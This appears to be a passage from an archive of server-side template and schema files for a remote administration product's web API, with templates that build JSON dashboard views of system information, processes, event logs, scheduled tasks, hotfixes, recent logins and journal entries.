	    <?if SWAPDRIVES
	    	usemacro CommaInit()
	    	enum SWAPDRIVES
	    		usemacro CommaDo()?>
	    		{
					"drive_name": "#SWAP.DRIVE#",
					"drive_index": <?usemacro NUMBER(SWAP.DRIVE.IDX)?>,
					"drive_size": <?usemacro NUMBER(SWAP.DRIVE.SIZE)?>,
					"drive_free": <?usemacro NUMBER(SWAP.DRIVE.FREE)?>,
					"file_name": "#SWAP.FILE#",
					"file_min": <?usemacro NUMBER(SWAP.FILE.MIN)?>,
					"file_max": <?usemacro NUMBER(SWAP.FILE.MAX)?>,
					"file_size": <?usemacro NUMBER(SWAP.FILE.SIZE)?>
	    		}
	    	<?next
	    endif?>
	]
	
},
"lang":{}
}44api\compset\virtmem.schema3{
	"result": {

		"swapglobal" : {
			"size": { "_type": "number" },
			"recd": { "_type": "number" },
			"low": { "_type": "number" },
			"min": { "_type": "number" },
			"max": { "_type": "number" }
		},
		
		"swapdrives": {
			"_type": "array",
			"_element": {
				"drive_name": { "_type": "string" },
				"drive_index": { "_type": "number" },
				"drive_size": { "_type": "number" },
				"drive_free": { "_type": "number" },
				"file_name": { "_type": "string" },
				"file_min": { "_type": "number" },
				"file_max": { "_type": "number" },
				"file_size":{ "_type": "number" }
			}
		}
		
	},
	"lang": {}
}8api\dashboard\dashboard.jsonaIPә<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>

<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	set REQ.DASH="1"

	set RETWDATA="0"

	// ============================================== HTTPMETHOD.GET ==============================================
	if REQ.HTTPMETHOD == "GET"
	
		set RETWDATA="1"
		
		if REQ.OP == "netmon"
			set WDGS="N"
		endif
		
	// ============================================== HTTPMETHOD.PUT ==============================================
	elseif REQ.HTTPMETHOD == "PUT"
	
		if REQ.OP
			switch REQ.OP
			case "min", "max"
				// unfold or collapse a widget
				// @param PAGE (required) 
	
				action "setdashconfig"
				if not WINERRNUM
					set WDGS=REQ.PAGE
					set RETWDATA="1"
				endif
			case "proclistsize"
				// set default list size of a widget
				// @param SIZE (required) 
				
				action "setdashconfig"
				if not WINERRNUM
					set WDGS="P"
					set RETWDATA="1"
				endif
			case "tasklistsize"
				// set default list size of a widget
				// @param SIZE (required) 
				
				action "setdashconfig"
				if not WINERRNUM
					set WDGS="T"
					set RETWDATA="1"
				endif
			case "journalsize"
				// set default list size of a widget
				// @param SIZE (required) 

				action "setdashconfig"
				if not WINERRNUM
					set WDGS="J"
					set RETWDATA="1"
				endif
			case "hotfixsize"
				// set default list size of a widget
				// @param SIZE (required) 
				
				action "setdashconfig"
				if not WINERRNUM
					set WDGS="H"
					set RETWDATA="1"
				endif
			case "evtlogsize"
				// set default list size of a widget
				// @param SIZE (required) 
				
				action "setdashconfig"
				if not WINERRNUM
					set WDGS="E"
					set RETWDATA="1"
				endif
			case "netmon"
				// requires
				// @param type (string) Value must be either "neti" or "neto"
				// @param index (integer) adapter ID
				// @param adapter.name (enum, see adapter enum list) ??
				// @param adapter.bpsi (integer)
				// @param adapter.bpso (integer)
			
				action "perfcfg" REQ.TYPE="netmon" REQ.NETACTION="set"

				if not WINERRNUM
					set WDGS="N"
					set RETWDATA="1"
				endif
			case "layout"
				// @param VALUE (required) string of widget letters
				
				action "setdashconfig"
				
				if not WINERRNUM
					action "getdashconfig"
					?>{result: {code: "ok", message: "Successful Operation"}, "lang": []}<?
					exit
				endif
			case default
				if not REQ.OP
					debug "REQ.OP is missing!"
				else
					debug "Unknown REQ.OP " REQ.OP
				endif
				
				set status s="400 Unknown Operation"
				?>{"result": {"code": "error", "message": "Unknown operation"}, "lang": {"PRODUCTNAME": "&PRODUCTNAME&", "PRODUCTABBR": "&PRODUCTABBR&"}}<?
				exit
			endswitch
		endif
		
	// ============================================== HTTPMETHOD.POST ==============================================
	elseif REQ.HTTPMETHOD == "POST"
	
		if REQ.NEWJOURNAL
			action "journalcreate"

			if not WINERRNUM
				set WDGS="J"
				set RETWDATA="1"
			endif
		else
			set status s="400 Missing data"
			?>{"result": {"code": "error", "message": "Missing data: req.newjournal"}, "lang": {"PRODUCTNAME": "&PRODUCTNAME&", "PRODUCTABBR": "&PRODUCTABBR&"}}<?
			exit			
		endif
		
	// ============================================== HTTPMETHOD UNKNOWN ==============================================
	else		
			set status s="400 Http method unknown"
			?>{"result": {"code": "error", "message": "Http method unknown: #REQ.HTTPMETHOD#"}, "lang": {"PRODUCTNAME": "&PRODUCTNAME&", "PRODUCTABBR": "&PRODUCTABBR&"}}<?
			exit			
	endif
	// ============================================== END HTTPMETHOD ==============================================



	if RETWDATA="1"
		action "getdashconfig"
		action "getactiveuser"
	
?>

{"result": {
	<?if REQ.HTTPMETHOD == "GET"
		if REQ.OP == "netmon"
			set WDGS = "N"
		elseif REQ.WIDGETS
			set WDGS = REQ.WIDGETS
		else
			set WDGS = DASHLAYOUT
		endif		
		?>	
		"header": {
			"autoLogin": <? if LOGINMETHOD == "AUTOLOGIN" ?>true<? else ?>false<?endif?>,
			"userActive": <? if ACTIVEUSERNAME == "NONE" ?>false<? else ?>true<?endif?>,
      "lastInput": "#ACTIVEUSERLASTINPUT#",
			"userActiveMeasurement": "#ACTIVEUSERMEASSUREMENT#",
			"SRVNAME": "#SRVNAME#",
			"USERNAME": "#USERNAME#"
		},
		"layout": "#DASHLAYOUT#",
	<?endif?>
	
	"widgets": {
	    
		<?if WDGS has "S"
			// System Information
			action "osinfo"
			action "cpuinfo"
			action "meminfo"
			?>	
			"sysinfo": {
				"data" : {
					"os.name": "#OS.NAME#",
					"os.ver": "#OS.VER#",
					"os.build": "#OS.BUILD#",
					"os.csd": "#OS.CSD#",
					<?if CPU.CLOCK != 0 // win9x can't tell cpu speed ?>
						"cpu.info": "#MSG.INFO.HARDWARE.CPUINFO#",
						"cpu.count": "#CPU.COUNT#",
					<?endif?>
					"mem.phys.size": #MEMP.SIZE#,
					"mem.comm.size": #MEMC.SIZE#,
					"mem.phys.size.fmt": "<?#MEMP.SIZE _szm?>",
					"mem.comm.size.fmt": "<?#MEMC.SIZE _szm?>",
					"mem.phys.used.perc": #MEMP.USEDP#,
					"mem.comm.used.perc": #MEMC.USEDP#
					<?if OS.BOOTED?>, "os.booted.ago": "<?#OS.BOOTED _ago?>"<?endif?>
					<?if OS.USER?>, "os.user": "#OS.USER#"<?endif?>
				}
			},
		<?endif?>
		
		<?if WDGS has "E"
			// Events
			if REQ.SIZE
				set REQ.EVTLOGSIZE = REQ.SIZE
			else
				set REQ.EVTLOGSIZE = EVTLOGSIZE
			endif
			action "evtdash"
			?>	
			"events" : {
				"listSize": #EVTLOGSIZE#,
				"schema" : {
					"fields" : [
						{"name": "index", "type": "integer", "unique": true},
						{"name": "eventId", "type": "integer"},
						{"name": "log", "type": "string"},
						{"name": "source", "type": "string"},
						{"name": "type", "type": "string"},
						{"name": "date", "type": "string"},
						{"name": "date.fmt", "type": "string"}
					]
				},
				"data": [				    
				    <?if EVENTS
				    	usemacro CommaInit()
						enum EVENTS
							usemacro CommaDo()?>
							{					
							    "index": <?usemacro NUMBER(EVENT.INDEX)?>, 
							    "eventId": <?usemacro NUMBER(EVENT.ID)?>, 
							    "log": "#EVENT.LOGTYPE#", 
							    "source": "#EVENT.SOURCE#", 
							    "type": "#EVENT.TYPE#", 
							    "date": "#EVENT.TIME#", 
							    "date.fmt": <?usemacro FORMAT.DTMS(EVENT.TIME)?>,
							    "user": "#EVENT.USER#",
							    "category": "#EVENT.CATEGORY#",
							    "message": "#EVENT.MESSAGE#"
							}
						<?next
					endif?>		
				]
			}, 				
		<?endif?>
		
		<?if WDGS has "P"
			// Processes
			if REQ.SIZE
				set REQ.PROCLISTSIZE = REQ.SIZE
			else
				set REQ.PROCLISTSIZE = PROCLISTSIZE
			endif
			set REQ.SORT = "CD"
				
			action "proclist"
			?>
			"processes" : {
				"listSize": #PROCLISTSIZE#,
				"schema" : {
					"fields" : [
						{"name": "id", "type": "integer", "unique": true},
						{"name": "name", "type": "string"},
						{"name": "desc", "type": "string"},
						{"name": "version", "type": "string"},
						{"name": "NTOwner", "type": "string"},
						{"name": "NTWindow", "type": "string"},
						{"name": "NTHandles", "type": "integer"},
						{"name": "threads", "type": "integer"},
						{"name": "NTTimeCreated", "type": "string"},
						{"name": "NTTimeCreatedAgo", "type": "string"},
						{"name": "NTTime", "type": "string"},
						{"name": "parent", "type": "string"},
						{"name": "cpuPerc", "type": "integer"},
						{"name": "memory", "type": "integer"},
						{"name": "swap", "type": "integer", "optional": true},
						{"name": "wkset", "type": "integer", "optional": true}
					]
				},
				"data": [
				    <?if PROCESSES
				    	usemacro CommaInit()
						enum PROCESSES
							usemacro CommaDo()?>
							{					
								"id": #PROC.ID#, 
								"name": "#PROC.NAME#", 
								"desc": "#PROC.DESC#", 
								"version": "#PROC.VER#",
						        "NTOwner": "#PROC.USER#", 
						        "NTWindow": "#PROC.WINDOW#", 
						        "NTHandles": #PROC.HANDLES#,
						        "threads": #PROC.THREADS#, 
						        "NTTimeCreated": "<?#PROC.TIMEC_dtms?>", 
						        "NTTimeCreatedAgo": "<?#PROC.TIMEC_ago?>", 
						        "NTTime": "<?#PROC.TIME_spn?>", 
						        "parent": "#PROC.PARENT#", 
						        "cpuPerc": #PROC.CPUP#, 
						        "memory": <?if PROC.MEMORY?>#PROC.MEMORY#<?else?>0<?endif?><?if PROC.SWAP?>, 
						        "swap": #PROC.SWAP#<?endif?><?if PROC.WKSET?>, 
						        "wkset": #PROC.WKSET#<?endif?>
							}
						<?next
					endif?>		
				]
			}, 				
		<?endif?>
				
		<?if WDGS has "N"
			// Network Monitor
			?>	
			"netmon": {
				"data": {
					<?
						if not REQ.ADAPTER.ID
							set REQ.ADAPTER.ID = "0"
						endif
						
						action "perfmon" REQ.TYPE="neti" REQ.RES="0" REQ.INDEX=REQ.ADAPTER.ID		
					?>			
					"netin": {
						"schema": {
							"fields": [
								{"name": "l", "type": "integer", "unique": true},
								{"name": "data", "type": "integer"},
								{"name": "time", "type": "string"}
							]
						},
						"data": [
						    <?if SAMPLES
						    	usemacro CommaInit()
								enum SAMPLES
									usemacro CommaDo()?>
									{					
										"l": #SAMPLE.L#, 
										"data": #SAMPLE.DATA#, 
										"time": "<?#SAMPLE.TIME_dtms?>"
									}
								<?next
							endif?>		
						]						
						
						<?if STAT?>,
							"stat": {
								"min": #STAT.MIN#,
								"max": #STAT.MAX#,
								"avg": #STAT.AVG#,
								"unit": "#STAT.UNIT#",
								"name": "#STAT.NAME#"
							}
						<?endif?>
					},					
					<? 
						action "perfmon" REQ.TYPE="neto" REQ.RES="0" REQ.INDEX=REQ.ADAPTER.ID 
					?>								
					"netout": {
						"schema": {
							"fields": [
								{"name": "l", "type": "integer", "unique": true},
								{"name": "data", "type": "integer"},
								{"name": "time", "type": "string"}
							]
						},
						"data": [
						    <?if SAMPLES
						    	usemacro CommaInit()
								enum SAMPLES
									usemacro CommaDo()?>
									{					
										"l": #SAMPLE.L#, 
										"data": #SAMPLE.DATA#, 
										"time": "<?#SAMPLE.TIME_dtms?>"
									}
								<?next
							endif?>		
						]						
						
						<?if STAT?>,
							"stat": {
								"min": #STAT.MIN#,
								"max": #STAT.MAX#,
								"avg": #STAT.AVG#,
								"unit": "#STAT.UNIT#",
								"name": "#STAT.NAME#"
							}
						<?endif?>
					},					
					<?
						action "perfcfg" REQ.TYPE="netmon" REQ.NETACTION="get" REQ.INDEX=REQ.ADAPTER.ID
					?>					
					<?if REQ.RES ?>"res": #REQ.RES#,<?endif?>
					<?if REQ.ADAPTER.ID ?>"adapterId": #REQ.ADAPTER.ID#,<?endif?>
					
					"adapters": {
						"schema": {
							"fields": [
								{"name": "id", "type": "integer", "unique": true},
								{"name": "name", "type": "string"}
							]
						},
						"data": [
						    <?if ADAPTERS
						    	usemacro CommaInit()
								enum ADAPTERS
									usemacro CommaDo()?>
									{					
										"id": #ADAPTER.INDEX#, 
										"name": "#ADAPTER.NAME#"							
									}
								<?next
							endif?>		
						]						
					},
					
					"maxvalues": { 
						"schema": {
							"fields": [
								{"name": "maxin", "type": "integer"},
								{"name": "maxout", "type": "integer"}
							]
						},
						"data": [
							{							    
								"maxin":<?if ADAPTER.BPSI?>#ADAPTER.BPSI#<?else?>100<?endif?>, 
								"maxout":<?if ADAPTER.BPSO?>#ADAPTER.BPSO#<?else?>100<?endif?>
							}
						]
					}
				}
			},
		<?endif?>
		
		<?if WDGS has "D"
			// Disk Drives				
			set REQ.SCAN = "fixed"
			
			action "drivelist"
			?>	
			"diskDrives": {
				"schema": {
					"fields": [
						{"name": "name", "type": "string"},
						{"name": "usedPerc", "type": "integer", "optional": true},
						{"name": "size", "type": "integer", "optional": true},
						{"name": "free", "type": "integer", "optional": true},
						{"name": "volume", "type": "string", "optional": true},
						{"name": "serial", "type": "string", "optional": true},
						{"name": "attributes", "type": "string", "optional": true},
						{"name": "fileSystem", "type": "string", "optional": true},
						{"name": "permissions", "type": "string", "optional": true},
						{"name": "error", "type": "string", "optional": true}
					]
				},
				"data": [
				    <?if DRIVES
				    	usemacro CommaInit()
						enum DRIVES
							// List only fixed drives
							if DRIVE.TYPE == "fixed"								
								usemacro CommaDo()?>
								{
									"name": "#DRIVE.NAME#", 
									<?if DRIVE.ERROR?>"error": "#DRIVE.ERROR#"
									<?else?>"size": #DRIVE.SIZE#, 
									"free": #DRIVE.FREE#,
									<?if DRIVE.VOLUME?>"volume": "#DRIVE.VOLUME#", <?endif?>
									<?if DRIVE.SERIAL?>"serial": "#DRIVE.SERIAL#", <?endif?>
									<?if DRIVE.FSYS?>"fileSystem": "#DRIVE.FSYS#", <?endif?>
									"maxFileNameLength": #DRIVE.MAXN#, 
									<?if DRIVE.ATTR?>"attributes": "#DRIVE.ATTR#", <?endif?>
									<?if DRIVE.PERM?>"permissions": "#DRIVE.PERM#", <?endif?>
									"usedPerc": #DRIVE.USEDP#
									<?endif?>
								}
							<?endif
						next
					endif?>		
				]			    
			},
		<?endif?>
				
			
		<?if WDGS has "T"
			// Scheduled Tasks	
			if REQ.SIZE
				set REQ.TASKLISTSIZE = REQ.SIZE
			else
				set REQ.TASKLISTSIZE = TASKLISTSIZE
			endif
			
			action "tasklist"
			?>
			"scheduledTasks": {
				"listSize": #TASKLISTSIZE#,
				"schema": {
					"fields": [
						{"name": "name", "type": "string"},
						{"name": "shortName", "type": "string"},
						{"name": "exitCode", "type": "string", "optional": true},
						{"name": "status", "type": "string"},
						{"name": "lastRun", "type": "string"},
						{"name": "lastRunAgo", "type": "string"},
						{"name": "nextRun", "type": "string"},
						{"name": "nextRunIn", "type": "string"},
		
						{"name": "path", "type": "string"},
						{"name": "args", "type": "string"},
						{"name": "NTRunAsUser", "type": "string", "optional": true},
						{"name": "comment", "type": "string"},
						{"name": "triggers", "type": "string"}
					]
				},
				"data": [
				    <?if TASKS
				    	usemacro CommaInit()
						enum TASKS
							usemacro CommaDo()?>
							{					
								"name": "#TASK.NAME#", 
								"shortName": "#TASK.SHORTNAME#"
								<?if TASK.EXITCODE ?>,"exitCode": "#TASK.EXITCODE#"<?endif?>, 
								"status": "#TASK.STATUS#", 
								"lastRun": "<?#TASK.LASTRUN _dtms?>", 
								"lastRunAgo": "<?#TASK.LASTRUN _ago?>", 
								"nextRun": "<?#TASK.NEXTRUN _dtms?>", 
								"nextRunIn": "<?#TASK.NEXTRUN _in?>",
								"path": "#TASK.APP.PATH#", 
								"args": "#TASK.APP.ARGS#", 
								<?if ISNT?>"NTRunAsUser": "#TASK.APP.USER#", <?endif?>
								"comment": "#TASK.COMMENT#", 
								"triggers": "#TASK.TRIGGERS#",
								"schedule": "#TASK.SCHEDULE#"
							}
						<?next
					endif?>						    
				]
			},
		<?endif?>
				
		<?if WDGS has "R"
			// Most Recent Accesses
			if REQ.SIZE
				set REQ.EVTLOGSIZE = REQ.SIZE
			else
				set REQ.EVTLOGSIZE = EVTLOGSIZE
			endif
			
			action "recent"
			?>	
			"mostRecentAccesses": {
				"listSize": #EVTLOGSIZE#,
				"schema": {
					"fields": [
						{"name": "user", "type": "string"},
						{"name": "addr", "type": "string"},
						{"name": "loginDate", "type": "string"},
						{"name": "logoutDate", "type": "string", "optional": true},
						{"name": "isOnline", "type": "boolean"},
						{"name": "host", "type": "string", "optional": true},
						{"name": "idleTime", "type": "string", "optional": true},
						{"name": "offlineSince", "type": "string", "optional": true}
					]
				},
				"data": [
				    <?if RECENT
				    	usemacro CommaInit()
						enum RECENT
							usemacro CommaDo()?>
							{					
								"user": "#RECENT.USER#", 
								"addr": "#RECENT.ADDR#", 
								"host": "#RECENT.HOST#", 
								"loginDate": <?usemacro FORMAT.DTMS(RECENT.LOGIN)?>,
								"loginFor": <?usemacro FORMAT.FOR(RECENT.LOGIN)?>,
								"logoutDate": <?usemacro FORMAT.DTMS(RECENT.LOGOUT)?>,
								"isOnline": <?usemacro BOOL(RECENT.ONLINE)?>,				
								"idleTime": <?usemacro FORMAT.SPN(RECENT.IDLE)?>, 
								"offlineSince": "<?#RECENT.LOGIN_for?>"
							}
						<?next
					endif?>						    
				]
			},
		<?endif?>
		
		<?if WDGS has "H"
			// Hotfixes
			if REQ.SIZE
				set REQ.HOTFIXSIZE = REQ.SIZE
			else
				set REQ.HOTFIXSIZE = HOTFIXSIZE
			endif
			
			action "hotfixlist"				
			?>	
			"hotfixes": {
				"listSize": #HOTFIXSIZE#,
				"schema": {
					"fields": [
						{"name": "name", "type": "string"},
						{"name": "desc", "type": "string"},
						{"name": "descShort", "type": "string"},
						{"name": "date", "type": "string", "optional": true},
						{"name": "user", "type": "string", "optional": true}
					]
				},
				"data": [		    
				    <?if HOTFIXES
				    	usemacro CommaInit()
						enum HOTFIXES
							usemacro CommaDo()?>
							{					    
								"name": "#HOTFIX.NAME#", 
								"desc": "#HOTFIX.DESC#", 
								"descShort": "#HOTFIX.DESC.SHORT#",
								"user": "#HOTFIX.USER#",
								"date": <?usemacro FORMAT.DT(HOTFIX.DATE)?>
							}
						<?next
					endif?>		
				]
				  
			},  
			<?endif?>
				
			<?if WDGS has "J"
			// Journals
			set REQ.SYSTEM="0"
			if REQ.SIZE
				set REQ.JOURNALSIZE = REQ.SIZE
			else
				set REQ.JOURNALSIZE = JOURNALSIZE
			endif
			
			action "journallist"
			?>	
			"journal": {
				"listSize": #JOURNALSIZE#,
				"schema": {
					"fields": [
						{"name": "user", "type": "string"},
						{"name": "userShort", "type": "string", "optional": true},
						{"name": "isSystem", "type": "boolean"},
						{"name": "date", "type": "string"},
						{"name": "body", "type": "string"},
						{"name": "bodyShort", "type": "string", "optional": true}
					]
				},
				"journalSize": #JOURNAL#,
				"data": [
				    <?if JOURNAL
				    	usemacro CommaInit()
						enum JOURNAL
							usemacro CommaDo()?>
							{					    
								"user": "#JOURNAL.USER#",
								"userShort": "#JOURNAL.USER.SHORT#", 
								"isSystem": <?usemacro BOOL(JOURNAL.SYSTEM)?>, 
								"date": <?usemacro FORMAT.DTMS(JOURNAL.TIME)?>, 
								"body": "#JOURNAL.BODY#",
								"bodyShort": "#JOURNAL.BODY.SHORT#"
							}
						<?next
					endif?>		
				]
			},
		<?endif?>
		"_t": null
  }
},
"lang":{}
}
<?endif // RETWDATA=1
endif?>
1	4api\dashboard\journal.jsonm<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()


	if REQ.HTTPMETHOD == "POST"	
		usemacro CHECKREQPARAM.EXIST(REQ.NEWJOURNAL,"new journal entry","DASH.JOURNAL.NOTE");
		action "journalcreate"
		usemacro ERRORHANDLER()
	endif
	

	// list the journal entries
	action "journallist"
	usemacro ERRORHANDLER()

?>{"result": {

	"journal": [
	    <?if JOURNAL
	    	usemacro CommaInit()
			enum JOURNAL
				usemacro CommaDo()?>
				{					    
					"idx": <?usemacro NUMBER(JOURNAL.IDX)?>,
					"user": "#JOURNAL.USER#",
					"isSystem": <?usemacro BOOL(JOURNAL.SYSTEM)?>,
					"date": <?usemacro FORMAT.DTMS(JOURNAL.TIME)?>,
					"body": "#JOURNAL.BODY#"
				}
			<?next
		endif?>		
	],
	
	"pageinfo": [
		{				
			"pageSize" : <?usemacro NUMBER(JOURNAL)?>, 
			"count": <?usemacro NUMBER(PAGE.COUNT)?>,
			"home": <?usemacro NUMBER(PAGE.HOME)?>,
			"prev": <?usemacro NUMBER(PAGE.PREV)?>,
			"next": <?usemacro NUMBER(PAGE.NEXT)?>,
			"last": <?usemacro NUMBER(PAGE.LAST)?>,
			"current": <?usemacro NUMBER(PAGE.CURRENT)?>
		}
	],
	
	"pages": [<? 
		if PAGES		
			usemacro CommaInit()
			enum PAGES 
				usemacro CommaDo()?>
				{				
					"idx": <?usemacro NUMBER(PAGE.IDX)?>,
					"num": <?usemacro NUMBER(PAGE.NUM)?>
				}
			<?next	
		endif?>							
	]
		
},
"lang":{}
}
8api\dashboard\journal.schema{
	"result": {
		"journal": {
			"_type": "array",
			"_element": {
				"idx": { "_type": "number" },
				"user": { "_type": "string" },
				"isSystem": { "_type": "bool" },
				"date": { "_type": "string" },
				"body": { "_type": "string" }
			}
		},
		
		"pageinfo": {
			"_type": "array",
			"_element": {
				"pageSize" : { "_type": "number" }, 
				"count": { "_type": "number" },
				"home": { "_type": "number" },
				"prev": { "_type": "number" },
				"next": { "_type": "number" },
				"last": { "_type": "number" },
				"current": { "_type": "number" }
			}
		},

		"pages": {
			"_type": "array",
			"_element": {
				"idx": { "_type": "number" },
				"num": { "_type": "number" }
			}
		}
	},

	"lang": {
	}
}PЍ4api\dashboard\lmihome.json}ǽ<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>

<?
	// Sort out wrong platforms
	usemacro NORA()

	set REQ.DASH="1"

	// ============================================== HTTPMETHOD.GET ==============================================
	if REQ.HTTPMETHOD == "GET"
	
		set RETWDATA="1"
		
	else		
			set status s="400 Http method unknown"
			?>{"result": {"code": "error", "message": "Http method unknown: #REQ.HTTPMETHOD#"}, "lang": {"PRODUCTNAME": "&PRODUCTNAME&", "PRODUCTABBR": "&PRODUCTABBR&"}}<?
			exit			
	endif
	// ============================================== END HTTPMETHOD ==============================================

	action "getactiveuser"
	
?>

{"result": {
	<?if REQ.HTTPMETHOD == "GET"?>	
		"header": {
			"autoLogin": <? if LOGINMETHOD == "AUTOLOGIN" ?>true<? else ?>false<?endif?>,
			"userActive": <? if ACTIVEUSERNAME == "NONE" ?>false<? else ?>true<?endif?>,
      "lastInput": "#ACTIVEUSERLASTINPUT#",
			"userActiveMeasurement": "#ACTIVEUSERMEASSUREMENT#",
			"SRVNAME": "#SRVNAME#",
			"USERNAME": "#USERNAME#"
		},
		<? include "/api/menu_lmi.inc" ?>
	<?endif?>
},
"lang":{}
}
)?/4api\dashboard\sysinfo.json
2<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	action "rainfo"
	usemacro ERRORHANDLER()

	action "timeget"
	usemacro ERRORHANDLER()

	action "rebootat"
	usemacro ERRORHANDLER()

	action "recent"
	usemacro ERRORHANDLER()

	action "cpuinfo"
	usemacro ERRORHANDLER()

	action "osinfo"
	usemacro ERRORHANDLER()

	action "meminfo"
	usemacro ERRORHANDLER()

	action "hotfixlist"
	usemacro ERRORHANDLER()

?>{"result": {

	"user": "#USERNAME#",
	
	"security": {
		"ntlm": "#NTLM#",
		"rsaauth": "#RSAAUTH#",
		"ssl": "#SSL#"
	},

	"datetime": <?usemacro FORMAT.DTML(DATETIME)?>,
		
	"rawork": {
		"upsince": <?usemacro FORMAT.DTML(RAWORK.UPSINCE)?>,
		"upsince_for": <?usemacro FORMAT.FOR(RAWORK.UPSINCE)?>,
		"sent": <?usemacro FORMAT.SZK(RAWORK.SENT)?>,
		"requests": <?usemacro NUMBER(RAWORK.REQUESTS)?>
	},	
	
	"rebootat" : {
		"time": <?usemacro FORMAT.DTML(REBOOTAT.TIME)?>,
		"in": <?usemacro FORMAT.IN(REBOOTAT.TIME)?>
	},
	
	"recent": [
	    <?if RECENT
	    	usemacro CommaInit()
			enum RECENT
				usemacro CommaDo()?>
				{					    
					"address": "#RECENT.ADDR#",
					"host": "#RECENT.HOST#",
					"user": "#RECENT.USER#",
					"login": <?usemacro FORMAT.DTMS(RECENT.LOGIN)?>,
					"login_for": <?usemacro FORMAT.FOR(RECENT.LOGIN)?>,
					"logout": <?usemacro FORMAT.DTMS(RECENT.LOGOUT)?>,
					"duration": "#RECENT.DURATION#",
					"online": <?usemacro BOOL(RECENT.ONLINE)?>,
					"idle": <?usemacro FORMAT.SPN(RECENT.IDLE)?>
				}
			<?next
		endif?>		
	],
	
	"connections": {
		"remctrl": <?usemacro NUMBER(CONNS.REMCTRL)?>,
		"ftp": <?usemacro NUMBER(CONNS.FTP)?>,
		"telnet": <?usemacro NUMBER(CONNS.TELNET)?>,
		"filexfer": <?usemacro NUMBER(CONNS.FILEXFER)?>,
		"portfwd": <?usemacro NUMBER(CONNS.PORTFWD)?>
	},

	"os_user": "#OS.USER#",
	"users": [
	    <?if USERS
	    	usemacro CommaInit()
			enum USERS
				usemacro CommaDo()?>
				{					    
					"name": "#USER.NAME#",
					"wins": "#USER.WINS#"
				}
			<?next
		endif?>		
	],
	
	"cpu": {
		"name": "#CPU.NAME#",
		"clock": <?usemacro NUMBER(CPU.CLOCK)?>,
		"count": <?usemacro NUMBER(CPU.COUNT)?>,
		"usage": <?usemacro NUMBER(CPU.USAGE)?>
	},
	
	"memp" : {
		"usedp": <?usemacro NUMBER(MEMP.USEDP)?>,
		"size": <?usemacro FORMAT.SZM(MEMP.SIZE)?>,
		"free": <?usemacro FORMAT.SZM(MEMP.FREE)?>
	},
	
	"memc" : {
		"usedp": <?usemacro NUMBER(MEMC.USEDP)?>,
		"size": <?usemacro FORMAT.SZM(MEMC.SIZE)?>,
		"free": <?usemacro FORMAT.SZM(MEMC.FREE)?>
	},
	
	"bios": { 
		"ver": "#BIOS.SYSTEM.VER#",
		"date": "#BIOS.SYSTEM.DATE#",
		"video_date": "#BIOS.VIDEO.DATE#"
	},
	
	"screen": {
		"width": <?usemacro NUMBER(SCREEN.WIDTH)?>,
		"height": <?usemacro NUMBER(SCREEN.HEIGHT)?>,
		"depth": <?usemacro NUMBER(SCREEN.DEPTH)?>
	},
	
	"os": {
		"name": "#OS.NAME#",
		"ver": "#OS.VER#",
		"build": "#OS.BUILD#",
		"csd": "#OS.CSD#",
		"installed": <?usemacro FORMAT.DTML(OS.INSTALLED)?>,
		"booted": <?usemacro FORMAT.DTML(OS.BOOTED)?>,
		"booted_ago": <?usemacro FORMAT.AGO(OS.BOOTED)?>
	},
	
	"hotfixes": [
	    <?if HOTFIXES
	    	usemacro CommaInit()
			enum HOTFIXES
				usemacro CommaDo()?>
				{					    
					"name": "#HOTFIX.NAME#",
					"desc": "#HOTFIX.DESC#",
					"user": "#HOTFIX.USER#",
					"date": <?usemacro FORMAT.DT(HOTFIX.DATE)?>
				}
			<?next
		endif?>		
	]
		
},
"lang":{}
}ʇF8api\dashboard\sysinfo.schemaX	Y{"result": {

	"user": { "_type": "string" },
	
	"security": {
		"ntlm": { "_type": "string" },
		"rsaauth": { "_type": "string" },
		"ssl": { "_type": "string" }
	},

	"datetime": { "_type": "string" },
		
	"rawork": {
		"upsince": { "_type": "string" },
		"upsince_for": { "_type": "string" },
		"sent": { "_type": "string" },
		"requests": { "_type": "number" }
	},	
	
	"rebootat" : {
		"time": { "_type": "string" },
		"in": { "_type": "string" }
	},
	
	"recent": {
		"_type": "array",
		"_element": {
			"address": { "_type": "string" },
			"host": { "_type": "string" },
			"user": { "_type": "string" },
			"login": { "_type": "string" },
			"login_for": { "_type": "string" },
			"logout": { "_type": "string" },
			"duration": { "_type": "string" },
			"online": { "_type": "bool" },
			"idle": { "_type": "string" }
		}
	},
	
	"connections": {
		"remctrl": { "_type": "number" },
		"ftp": { "_type": "number" },
		"telnet": { "_type": "number" },
		"filexfer": { "_type": "number" },
		"portfwd": { "_type": "number" }
	},

	"os_user": { "_type": "string" },
	"users": {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"wins": { "_type": "string" }
		}
	},
	
	"cpu": {
		"name": { "_type": "string" },
		"clock": { "_type": "number" },
		"count": { "_type": "number" },
		"usage": { "_type": "number" }
	},
	
	"memp" : {
		"usedp": { "_type": "number" },
		"size": { "_type": "string" },
		"free": { "_type": "string" }
	},
	
	"memc" : {
		"usedp": { "_type": "number" },
		"size": { "_type": "string" },
		"free": { "_type": "string" }
	},
	
	"bios": { 
		"ver": { "_type": "string" },
		"date": { "_type": "string" },
		"video_date": { "_type": "string" }
	},
	
	"screen": {
		"width": { "_type": "number" },
		"height": { "_type": "number" },
		"depth": { "_type": "number" }
	},
	
	"os": {
		"name": { "_type": "string" },
		"ver": { "_type": "string" },
		"build": { "_type": "string" },
		"csd": { "_type": "string" },
		"installed": { "_type": "string" },
		"booted": { "_type": "string" },
		"booted_ago": { "_type": "string" }
	},
	
	"hotfixes": {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"desc": { "_type": "string" },
			"user": { "_type": "string" },
			"date": { "_type": "string" }
		}
	}
},
"lang":{}
}23*api\fileman\attr.json)&<?ratmpl?><?nocache?><?
	include "/api/common.macro"

	// LMI WIN and RA only feature
	usemacro NOMAC()
	usemacro NOFREE()


	if REQ.HTTPMETHOD == "put"
		// Upload file
		//
		// @param REQ.DIR (string) - the directory containing the files
		// @param REQ.FILE (string) - the name of a single file (multiple times)
		// @param REQ.ATTR_A (string, optional) - Value for 'archive'
		// @param REQ.ATTR_R (string, optional) - Value for 'read-only'
